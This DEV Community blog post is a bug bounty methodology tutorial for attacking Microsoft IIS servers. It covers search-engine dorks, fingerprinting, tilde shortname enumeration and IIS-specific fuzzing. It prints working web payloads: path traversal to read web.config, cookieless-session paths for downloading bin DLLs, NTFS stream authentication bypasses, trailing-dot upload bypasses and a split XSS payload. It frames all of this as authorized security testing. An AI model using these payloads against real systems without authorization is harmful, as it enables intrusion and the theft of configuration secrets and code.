DEV Community

Cover image for When the IIS Blue Screen Is Just the Start
Marco Altomare
Marco Altomare

Posted on

When the IIS Blue Screen Is Just the Start

#cybersecurity #testing #iis #microsoft

Disclaimer: This article was written for educational and informational purposes only. The techniques described should be used only in authorized contexts, such as bug bounty programs, contractual penetration testing, or controlled lab environments. The author assumes no responsibility for improper or illegal use of the information contained in this article.

That classic IIS error page should never be treated as a dead end. In many cases, it's simply the visible front of a Windows web server that reveals far more than it should when approached with patience and the right methodology.

This article walks through a practical workflow for assessing IIS targets in bug bounty and security testing, focusing on techniques that consistently uncover misconfigurations, information disclosure, and potential attack paths.

Finding IIS Targets

Internet-Wide Search Engines

Before initiating active testing, check what internet-wide search engines already know about the target. Queries built around SSL certificates, organization names, and the "IIS" title can surface servers connected to the same company or certificate footprint.

ssl:"target.com" http.title:"IIS"
ssl.cert.subject.CN:"target.com" http.title:"IIS"
org:"target" http.title:"IIS"
Enter fullscreen mode Exit fullscreen mode

The same approach can be extended to FOFA, Censys, Netlas, or Odin, since each platform indexes a different slice of exposed infrastructure.

Google Dorking

Search engines can also expose IIS fingerprints before any active probing begins. Patterns such as aspnet_client, _vti_bin, indexed .aspx pages, or pages containing Microsoft-IIS and X-Powered-By: ASP.NET often point directly to ASP.NET applications running on IIS.

site:target.com intitle:"IIS Windows Server"
site:target.com inurl:aspnet_client
site:target.com ext:aspx | ext:ashx | ext:asmx
site:target.com intext:"Microsoft-IIS" | intext:"X-Powered-By: ASP.NET"
site:target.com inurl:_vti_bin
site:target.com intitle:"Microsoft Internet Information Services"
Enter fullscreen mode Exit fullscreen mode

Nested wildcard searches may also uncover development or staging hosts that normal enumeration misses.

site:*.target.com intitle:"IIS"
site:*.*.target.com intitle:"IIS"
Enter fullscreen mode Exit fullscreen mode

Active Fingerprinting

The fastest confirmation usually comes from HTTP response headers. Raw requests over TCP or TLS can reveal telltale headers.

nc -v target.com 80
openssl s_client -connect target.com:443
Enter fullscreen mode Exit fullscreen mode

Look for:

Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Enter fullscreen mode Exit fullscreen mode

For broader coverage, use httpx or nuclei to identify IIS hosts at scale.

httpx -l targets.txt -td | grep IIS | tee iis-targets.txt
Enter fullscreen mode Exit fullscreen mode

Early Information Disclosure

Some IIS front ends, especially Exchange or OWA deployments, may disclose internal addressing details when they receive an HTTP/1.0 request. In those cases, the Location header may contain a private IP and the response may also expose the X-FEServer value.

curl -v --http1.0 http://example.com
Enter fullscreen mode Exit fullscreen mode 
HTTP/1.1 302 Moved Temporarily
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Enter fullscreen mode Exit fullscreen mode

Those details can reveal internal hostnames or routing information that become useful later in the assessment.

Scanning and Enumeration

Nuclei for Broad Checks

Once IIS hosts are collected, launch tag-based nuclei scans in the background while manual testing continues.

nuclei -l iis-targets.txt \
    -tags microsoft,windows,asp,aspx,iis,azure,config,exposure -silent
Enter fullscreen mode Exit fullscreen mode

HTTPAPI 2.0 Responses

A generic HTTPAPI 2.0 404 should not be dismissed as an empty target. It's often a sign that the application expects a different Host header and is bound to a specific virtual host.

Two ways to continue: inspect the SSL certificate for hostnames in the subject or SAN fields, or brute-force the virtual host with a tool such as ffuf.

ffuf -u https://TARGET_IP/ -H "Host: FUZZ.target.com" -w vhosts.txt -fs 0
Enter fullscreen mode Exit fullscreen mode

If the correct hostname is found, the same endpoint may begin serving the real application instead of the generic error page.

IIS Tilde Enumeration

IIS shortname enumeration is one of the most valuable legacy behaviors to test. Because of DOS 8.3 filename handling, specially crafted requests may disclose shortened names for files and directories even when directory listing is disabled.

shortscan https://target.com/ -F -p 1
Enter fullscreen mode Exit fullscreen mode

Burp's IIS Tilde Enumeration Scanner is also an effective alternative.

Typical output can include entries such as:

File: WEB~1.CON
File: GLOBAL~1.ASA
File: SITEBA~1.ZIP
Dir: ADMIN~1
Enter fullscreen mode Exit fullscreen mode

Short names like WEB~1.CON strongly suggest web.config, but names such as SITEBA~1.ZIP require additional work to recover the likely full filename.

Resolving Shortnames

LLM-Assisted Guessing

One approach is using an LLM to propose possible filename completions from the visible fragment, while constraining the output to simple alphanumeric guesses.

Return only a list of words, separated by newlines, and nothing else. Ensure that the words contain only alphanumeric characters.
Make a list of guesses, for what the rest of the word could be from this snippet. Ensure that the snippet is a substring of your guess.
Make the list as extensive as possible.
Snippet: {shortname}
Enter fullscreen mode Exit fullscreen mode

GitHub Code Search

GitHub code search can serve as a large real-world filename corpus. By searching for filenames that begin with the first six characters of the shortname and end with the expected extension, it becomes easier to build realistic guesses.

path:/.ds_st
path:/global*.asa
path:/connec*.config
Enter fullscreen mode Exit fullscreen mode

Tools like GSNW and GitHub-IIS-Shortname-Generator can help turn those fragments into focused wordlists.

python gsnw.py "siteba" output.txt
python scanner.py WEBDEV
Enter fullscreen mode Exit fullscreen mode

Example output:

Found matches:
--------------------------------------------------
- WebDev.md
- WebDeveloper.java
- webdev.txt
- webdevicons.lua
--------------------------------------------------
Total unique matches: 86
Enter fullscreen mode Exit fullscreen mode

The tool shortnameguesser is another option for generating targeted guesses from shortname scanner output.

BigQuery on Public GitHub Data

An Assetnote-inspired workflow uses Google BigQuery's public GitHub dataset. With a regular expression that matches the known prefix and extension, the dataset can return filenames that resemble the hidden resource.

SELECT DISTINCT path
FROM `bigquery-public-data.github_repos.files`
WHERE REGEXP_CONTAINS(path, r'(?i)(\/siteba[a-z0-9]+\.zip|^siteba[a-z0-9]+\.zip)')
LIMIT 1000
Enter fullscreen mode Exit fullscreen mode

This reduces blind guessing by replacing it with filenames observed in real repositories, such as sitebackup.zip or sitebase.zip.

Brute-Forcing Remaining Characters

If smarter approaches fail, fall back to brute-force generation with crunch. The idea is to generate suffixes and then fuzz the target with several naming patterns.

crunch 4 6 abcdefghijklmnopqrstuvwxyz -o wordlist.txt
Enter fullscreen mode Exit fullscreen mode

For a shortname like DESKTO~1.ZIP, try plain concatenation, hyphens, underscores, and URL-encoded spaces through ffuf.

ffuf -w wordlist.txt -u https://target.com/desktoFUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktop-FUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktop_FUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktop%20FUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktopFUZZ.zip -mc 200,301,302,403
Enter fullscreen mode Exit fullscreen mode

The %20 variation matters because Windows filenames may contain spaces and IIS can still serve those files without issue.

IIS-Specific Fuzzing

Generic wordlists are not enough for IIS testing. Target files and endpoints that are specific to IIS and ASP.NET deployments.

/web.config
/web.config.bak
/web.config.old
/web.config.txt
/global.asax
/trace.axd
/elmah.axd
/connectionstrings.config
/appsettings.json
/appsettings.Development.json
/appsettings.Staging.json
/appsettings.Production.json
/appsettings.Local.json
/secrets.json
/WS_FTP.LOG
/_vti_pvt/service.cnf
Enter fullscreen mode Exit fullscreen mode

Files such as trace.axd and elmah.axd are important because they may expose request logs, headers, cookies, and sometimes credentials when left enabled.

Always fuzz with extensions that are common in the IIS and .NET ecosystem.

.asp,.aspx,.ashx,.asmx,.wsdl,.wadl,.config,.xml,.zip,.txt,.dll,.json
Enter fullscreen mode Exit fullscreen mode 
ffuf -u https://target.com/FUZZ -w iis-wordlist.txt \
     -e .asp,.aspx,.ashx,.asmx,.config,.json,.xml,.zip,.bak,.txt \
     -mc 200,301,302,403 -fs 0
Enter fullscreen mode Exit fullscreen mode

Several wordlist sources are worth using: SecLists IIS.txt, Orwa's iis.txt, Orwa's aspx.txt, wfuzz iis.txt, dirbuster-ng iis.txt, Assetnote wordlists, and OneListForAll.

Remember that IIS is case-insensitive, so lowercase deduplicated lists are preferred to avoid wasting requests.

High-Value Files and Paths

web.config Exposure

Reading web.config is a major objective because these files may include machine keys used for signing and encrypting ViewState. If those keys are recovered, they can support malicious ViewState payloads and remote code execution through deserialization. Tools like ysoserial.net can generate the payload once you have the keys.

Possible path traversal payloads:

GET /download?id=../../web.config
GET /download?id=..%2f..%2fweb.config
Enter fullscreen mode Exit fullscreen mode

DLL Access Through Cookieless Sessions

ASP.NET's legacy cookieless session feature allows embedding session tokens directly in the URL path using (S(X)) syntax. This can be abused to confuse IIS's path resolution and access the bin directory even when it should be blocked.

GET /(S(X))/b/(S(X))in/Newtonsoft.Json.dll
Enter fullscreen mode Exit fullscreen mode

The same pattern can be reused for application-specific DLLs once their names are known.

GET /(S(X))/b/(S(X))in/WebApplication1.dll
GET /(S(X))/b/(S(X))in/App_Code.dll
GET /(S(X))/b/(S(X))in/MyCustomAPI.dll
Enter fullscreen mode Exit fullscreen mode

Downloaded DLLs can then be decompiled with tools such as JetBrains dotPeek or dnSpy to inspect hardcoded credentials, API keys, internal logic, or custom authentication flows.

Reverse Proxy Path Confusion

When IIS is behind a reverse proxy, path normalization differences can sometimes bypass access control. A path like the following may be treated differently by the proxy and by IIS.

/anything/..%2fadmin/
Enter fullscreen mode Exit fullscreen mode

The proxy may forward the request as if it targeted /anything/, while IIS decodes %2f, resolves traversal, and serves /admin/.

NTFS-Based Authentication Bypass

IIS 7.5-era tricks involving NTFS alternate data streams and index allocation can sometimes bypass basic authentication. Paths such as the following may work because the security check and the filesystem do not interpret them the same way.

/admin::$INDEX_ALLOCATION/admin.php
/admin:$i30:$INDEX_ALLOCATION/admin.php
Enter fullscreen mode Exit fullscreen mode

Upload and WAF Bypasses

File Upload Edge Cases

If an upload feature blocks .asp and .aspx, IIS still renders several other extensions as text/html, which can create stored XSS opportunities.

Extensions that render as HTML:

.cer
.hxt
.htm
Enter fullscreen mode Exit fullscreen mode

XML-related extensions that may support XML-based XSS vectors:

.dtd, .mno, .vml, .xsl, .xht, .svg, .xml, .xsd,
.xsf, .svgz, .xslt, .wsdl, .xhtml
Enter fullscreen mode Exit fullscreen mode

IIS also has a quirk with trailing dots in filenames. If shell.aspx is filtered, variants with one or more trailing dots may still be accepted and then served normally.

shell.aspx.
shell.aspx..
shell.aspx...
Enter fullscreen mode Exit fullscreen mode

Server-side include extensions worth testing:

.stm, .shtm, .shtml
Enter fullscreen mode Exit fullscreen mode

HTTP Parameter Pollution

As a final bypass technique, HTTP Parameter Pollution can sometimes work against WAFs. By splitting a payload across duplicated parameters, the WAF and the backend may parse the request differently.

https://target.com/page?param=<svg/&param=onload=alert(1)>
Enter fullscreen mode Exit fullscreen mode

IIS and ASP.NET concatenate duplicate parameter values with a comma by default, which may reconstruct the payload after the WAF check.

Final Thoughts

The attack surface of IIS in bug bounty is wide but consistently under-tested. Everyone's off chasing the latest JavaScript framework vulnerability while these Windows boxes sit there, leaking internal IPs, serving up their own config files, and running with shortname enumeration wide open.

Don't skip the blue screen. Recon harder.

© 2026 Marco Altomare – All rights reserved.

The contents of this article, including text, code, and the techniques described, are protected by copyright. Reproduction, distribution, or modification without the author's written permission is prohibited. For collaborations, quotations, or commercial uses, please contact the author directly.

The techniques described are provided solely for educational and security research purposes. The author assumes no responsibility for improper or illegal use of the information contained therein. Use these techniques only in authorized environments and in compliance with applicable regulations.

Top comments (0)